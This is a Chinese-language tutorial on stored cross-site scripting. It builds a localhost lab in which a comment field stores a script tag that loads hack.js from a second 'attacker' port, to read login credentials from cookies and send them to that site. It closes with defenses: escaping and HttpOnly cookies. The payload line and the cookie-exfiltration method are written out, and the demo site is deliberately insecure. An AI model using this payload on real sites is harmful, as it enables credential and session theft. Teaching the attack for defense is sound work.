XSS(Cross Site Scripting)
即跨域腳本攻擊,向被攻擊網站注入惡意腳本,惡意腳本獲取到數據發送到另外一個域的網站上。
Stored XSS攻擊
即存儲式XSS攻擊。
把惡意腳本存儲到被攻擊者的網站的數據庫。
其他人訪問數據庫中的惡意腳本代碼后,瀏覽器執行惡意腳本,被攻擊。
存儲式攻擊不止一次攻擊,並且被攻擊的人不止一個,影響范圍大。
Stored XSS攻擊實例
思路
1.通過nodeJS在后端開啟兩個不同端口的服務,即兩個不同域的站點。
2.被攻擊者網站
a:在登錄時,把用戶的用戶名、密碼信息存入cookie中
b.有一個評論功能,用戶在文本框內輸入評論信息,然后提交到服務器。
3.攻擊者在評論處輸入<script src='hack.js'></script>,點擊提交后這段腳本存入到數據庫
hack.js文件是攻擊者網站的js腳本文件,用來獲取用戶的cookie中的用戶名、密碼信息,並且把用戶名、密碼發送到攻擊者指定的網站。
4.當網站的用戶訪問帶有評論<script src='hack.js'></script>信息時,會下載hack.js文件,並且執行,網站被攻擊。
注意:若返回的是包含<script src='hack.js'></script>內容的靜態html文件,此段代碼會執行。
若使用ajax獲取評論信息,然后通過innerHTML方法把<script src='hack.js'></script>添加到html文件,此段代碼不執行。innerHTML會把<script src='hack.js'>
</script> 當作字符串來處理,攻擊失效。
實驗
文件結構
server.js為服務端,創建了兩個http服務,端口分別為3000, 3100。
hackedsite為被攻擊的站點,運行在3000端口中。
a.index.html為登錄頁。
b.為評論信息頁。
c.為獲取評論信息頁。
hacksite為攻擊的站點,運行在3100端口中。
a.hack.js為嵌入在被攻擊網站的惡意腳本
b.remote.js用於協助hack.js把獲取到的數據發送到hacksite站點。
過程
1.使用nodeJS搭建本地服務器,啟動兩個不同端口的服務,端口分別為3000,3100。
server1.listen(3000);
server2.listen(3100);
2.訪問urlhttp://localhost:3000/hackedsite/index.html進入登錄頁面,並且輸入用戶名、密碼
點擊登錄按鈕后,把用戶名、密碼存儲到cookie中,並且跳轉到評論頁面。
3.進入評論頁面,在評論中輸入<script src="http://localhost:3100/hacksite/hack.js"></script>
點擊提交后,評論信息存儲到數據庫,並且重定向到顯示評論信息頁面。
4.顯示評論信息頁面
第三條內容為<script src="http://localhost:3100/hacksite/hack.js"></script>,被瀏覽器解析執行。
html為:
上面的html片段返回為靜態的瀏覽器解析script標簽,若通過ajax獲取評論數據,通過innerHTML添加的,則script標簽不解析執行,當作字符串來處理。
hack.js文件獲取被攻擊網站的cookie中存儲的數據,並且發送到指定的站點。
hack.js是如何工作的
1.首先獲取被攻擊站點的cookie中的用戶名、密碼
2.借助<script>標簽把獲取到的用戶名、密碼信息發送到攻擊者站點,這樣,就能竊取到被攻擊者的登錄信息了。
sessionId
http是一種無狀態的協議,為了記錄一個會話周期,通過sessionId來記錄會話過程。sessionId通過cookie傳遞到服務端,也可通過XSS攻擊獲取sessionId,從而使攻擊者獲得登陸網站的權限。
防御
(1)轉義
(2)HttpOnly
如果在cookie中設置了HttpOnly屬性,那么通過程序(JS腳本、Applet等)將無法讀取到cookie信息,這樣能有效防止XSS攻擊。cookie通常在http頭中傳輸。
cookie為字符串格式:key=value;Expires=date;Path=path;Domain=domain;Secure;HttpOnly